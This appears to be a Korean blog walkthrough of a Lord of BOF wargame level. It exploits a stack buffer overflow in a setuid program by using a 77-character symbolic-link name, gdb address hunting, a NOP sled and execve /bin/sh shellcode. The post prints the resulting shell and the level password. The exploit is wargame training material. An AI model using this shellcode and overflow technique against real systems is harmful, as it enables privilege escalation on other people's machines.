2017. 11. 17. 13:18ㆍSystemHacking/LOB(BOF원정대)
darkelf / kernel crashed
[darkelf@localhost darkelf]$ /bin/bash2
[darkelf@localhost darkelf]$ export SHELL=/bin/bash2
[ orge.c ]
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 | #include <stdio.h> #include <stdlib.h> extern char **environ; main(int argc, char *argv[]) { char buffer[40]; int i; if(argc < 2){ printf("argv error\n"); exit(0); } // here is changed! if(strlen(argv[0]) != 77){ printf("argv[0] error\n"); exit(0); } // egghunter for(i=0; environ[i]; i++) memset(environ[i], 0, strlen(environ[i])); if(argv[1][47] != '\xbf') { printf("stack is still your friend.\n"); exit(0); } // check the length of argument if(strlen(argv[1]) > 48){ printf("argument is too long!\n"); exit(0); } strcpy(buffer, argv[1]); printf("%s\n", buffer); // buffer hunter memset(buffer, 0, 40); } | cs |
argv[0] == 77 이 되어야 하는 조건만 추가되었다. argv[0] 이란 ?
[darkelf@localhost darkelf]$ ./orge $(python -c 'print "A" ')라는 명령을 입력했다면
argv[0] " ./orge "
argv[1] " $(python -c 'print "A"') "
즉 실행파일의 이름을 변경하여서 파일이름의 길이를 늘려주어야 한다
하지만 orge 파일의 이름을 바꿀 수 있는 권한을 가지고 있지 못하므로 다른 방법을 사용하는데
바로 심볼릭 링크 ( Symbolic Link )를 사용하는 것이다
$ ln -s [ 원본 파일 ] [ 생성할 링크 파일명 ]
[darkelf@localhost darkelf]$ ls
orge orge.c orge.cp
[darkelf@localhost darkelf]$ ln -s orge $(python -c 'print "A"*75')
[darkelf@localhost darkelf]$ ls
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA orge.c
orge orge.cp
* ./AAA .... 로 실행시키기 때문에 ./ 두 글자를 뺀 75개의 A로 파일을 생성한다
< 풀이 과정 >
풀이는 이전 문제와 동일하게 두 번째 인자에 쉘코드를 올려서 사용하겠다
gdb에서는 ./ 를 사용하지 않고 절대경로를 사용한다 /home/darkelf/.... => ( 77 - 14 = 63 )
[darkelf@localhost darkelf]$ ln -s orge.cp $(python -c 'print "B" * 63')
[darkelf@localhost darkelf]$ gdb -q $(python -c 'print "B" * 63')
(gdb) set disassembly-flavor intel
(gdb) disas main
Dump of assembler code for function main:
0x8048500 <main>: push %ebp
0x8048501 <main+1>: mov %ebp,%esp
0x8048503 <main+3>: sub %esp,44
....
0x8048639 <main+313>: add %esp,12
0x804863c <main+316>: leave
0x804863d <main+317>: ret
(gdb) b *0x804863c
Breakpoint 1 at 0x804863c
(gdb) run $(python -c 'print "A" * 44 + "\xbf\xbf\xbf\xbf"') $(python -c 'print "B" * 1024')
Starting program: /home/darkelf/BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB $(python -c 'print "A" * 44 + "\xbf\xbf\xbf\xbf"') $(python -c 'print "B" * 1024')
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA▒▒▒▒
Breakpoint 1, 0x804863c in main ()
(gdb) x/24x $ebp-40
0xbffff650: 0x00000000 0x00000000 0x00000000 0x00000000
0xbffff660: 0x00000000 0x00000000 0x00000000 0x00000000
0xbffff670: 0x00000000 0x00000000 0x41414141 0xbfbfbfbf <-- saved eip
0xbffff680: 0x00000000 0xbffff6c4 0xbffff6d4 0x40013868
0xbffff690: 0x00000003 0x08048450 0x00000000 0x08048471
0xbffff6a0: 0x08048500 0x00000003 0xbffff6c4 0x08048390
(gdb)
0xbffff6b0: 0x0804866c 0x4000ae60 0xbffff6bc 0x40013e90
[ argc ] [ argv[0] ] [ argv[1] ] [ argv[2] ]
0xbffff6c0: 0x00000003 0xbffff7b6 0xbffff804 0xbffff835 <-- 두 번째 인자의 주소
0xbffff6d0: 0x00000000 0xbffffc36 0xbffffc48 0xbffffc61
0xbffff6e0: 0xbffffc80 0xbffffca2 0xbffffcaf 0xbffffe72
(gdb) x/s 0xbffff7b6
0xbffff7b6: "/home/darkelf/", 'B' <repeats 63 times>
(gdb) x/s 0xbffff804
0xbffff804: 'A' <repeats 44 times>, "▒▒▒▒"
(gdb) x/s 0xbffff835
0xbffff835: 'B' <repeats 200 times>...
[darkelf@localhost darkelf]$ ./$(python -c 'print "A"*75') $(python -c 'print "A" * 44 + "\xbc\xf6\xff\xbf"') $(python -c 'print "\x90" * 1000 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"')
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA▒▒▒▒
Illegal instruction
=> 보정작업 // 형식 : ./실행파일명 argv[0] argv[1]
[darkelf@localhost darkelf]$ ./$(python -c 'print "A"*75') $(python -c 'print "A" * 44 + "\xbc\xf8\xff\xbf"') $(python -c 'print "\x90" * 1000 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"')
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA▒▒▒▒
bash$ id
uid=506(darkelf) gid=506(darkelf) euid=507(orge) egid=507(orge) groups=506(darkelf)
bash$ my-pass
euid = 507
timewalker
'SystemHacking > LOB(BOF원정대)' 카테고리의 다른 글
[9]troll -> vampire ( Stack Memory Range ) (0) | 2017.11.17 |
---|---|
[8] orge -> troll ( argv[0] , Symbolic Link ) (0) | 2017.11.17 |
[6] wolfman -> darkelf ( argv[2] 활용 ) (0) | 2017.11.17 |
[5] orc -> wolfman ( argv[2] 활용 ) (0) | 2017.11.17 |
[4] goblin -> orc ( argv[2] 활용 ) (0) | 2017.11.17 |